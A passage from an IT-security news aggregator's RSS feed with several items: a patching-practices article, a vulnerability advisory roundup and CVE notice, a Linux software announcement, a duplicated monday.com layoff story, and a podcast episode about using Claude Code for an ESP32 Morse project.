<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell, F5, Fortinet, and SonicWall Flaws Put Enterprise Network Infrastructure at Risk]]></title>
<description><![CDATA[During the 303030 days ending July 171717, 202620262026, 141414 vendors issued 616161 relevant security advisories, including six critical-rated issues. However, the more urgent signal is reachability, 262626 advisories involve flaws attackers can exploit remotely without authentication. Dell, F5...]]></description>
<link>https://tsecurity.de/de/3688172/it-security-nachrichten/dell-f5-fortinet-and-sonicwall-flaws-put-enterprise-network-infrastructure-at-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688172/it-security-nachrichten/dell-f5-fortinet-and-sonicwall-flaws-put-enterprise-network-infrastructure-at-risk/</guid>
<pubDate>Thu, 23 Jul 2026 08:54:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>During the 303030 days ending July 171717, 202620262026, 141414 vendors issued 616161 relevant security advisories, including six critical-rated issues. However, the more urgent signal is reachability, 262626 advisories involve flaws attackers can exploit remotely without authentication. Dell, F5, Fortinet, and SonicWall products feature prominently in this month’s high-priority patching list. These devices commonly sit at […]</p>
<p>The post <a href="https://cyberpress.org/enterprise-network-devices-exposed/">Dell, F5, Fortinet, and SonicWall Flaws Put Enterprise Network Infrastructure at Risk</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58661 | n8n Data-Table File Upload Endpoint unrestricted upload (EUVD-2026-42893)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in n8n. Affected is an unknown function of the component Data-Table File Upload Endpoint. This manipulation causes unrestricted upload.

This vulnerability is tracked as CVE-2026-58661. The attack is possible to be carried out remo...]]></description>
<link>https://tsecurity.de/de/3687943/sicherheitsluecken/cve-2026-58661-n8n-data-table-file-upload-endpoint-unrestricted-upload-euvd-2026-42893/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687943/sicherheitsluecken/cve-2026-58661-n8n-data-table-file-upload-endpoint-unrestricted-upload-euvd-2026-42893/</guid>
<pubDate>Thu, 23 Jul 2026 06:11:05 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/n8n">n8n</a>. Affected is an unknown function of the component <em>Data-Table File Upload Endpoint</em>. This manipulation causes unrestricted upload.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-58661">CVE-2026-58661</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Vice Game Clipper 2.0 released! (Linux Medal.tv alternative)]]></title>
<description><![CDATA[Vice is a Linux game clipper that focuses on easy sharing and editing. Under the hood, it uses GPU-Screen-Recorder as the capture engine, so it has nearly no performance impact whatsoever, and it has features such as: - Instant replay with customisable hotkeys, and long session recording - Free s...]]></description>
<link>https://tsecurity.de/de/3687901/linux-tipps/vice-game-clipper-20-released-linux-medaltv-alternative/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687901/linux-tipps/vice-game-clipper-20-released-linux-medaltv-alternative/</guid>
<pubDate>Thu, 23 Jul 2026 04:55:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Vice is a Linux game clipper that focuses on easy sharing and editing. Under the hood, it uses GPU-Screen-Recorder as the capture engine, so it has nearly no performance impact whatsoever, and it has features such as:</p> <p>- Instant replay with customisable hotkeys, and long session recording</p> <p>- Free share links that embed in Discord (no more hitting upload limits!)<br> - A full timeline editor with built in transition and text effects<br> - Automatically sorting clips by the game you were clipping<br> - Discord Rich Presence support<br> - Customisable, colour-coded highlights within clips</p> <p>- You can seperate audio sources like Discord calls, the game audio, and music, adjust their individual volume in clips</p> <p>- And more, plus new features are always being added.</p> <p>It's free, open source, and will stay that way. Any feedback is greatly appreciated, because community testing is what makes open source projects like these better.</p> <p>It's on the AUR, and you can install with:</p> <blockquote> </blockquote> <p>Or if you're on a different distro, you can run the install script with:</p> <blockquote> </blockquote> <p>Repo is below:</p> <p><a href="https://github.com/eklonofficial/Vice">https://github.com/eklonofficial/Vice</a> </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/LinuxBaka"> /u/LinuxBaka </a> <br> <span><a href="https://i.redd.it/15tbd1ss3weh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v40td6/vice_game_clipper_20_released_linux_medaltv/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

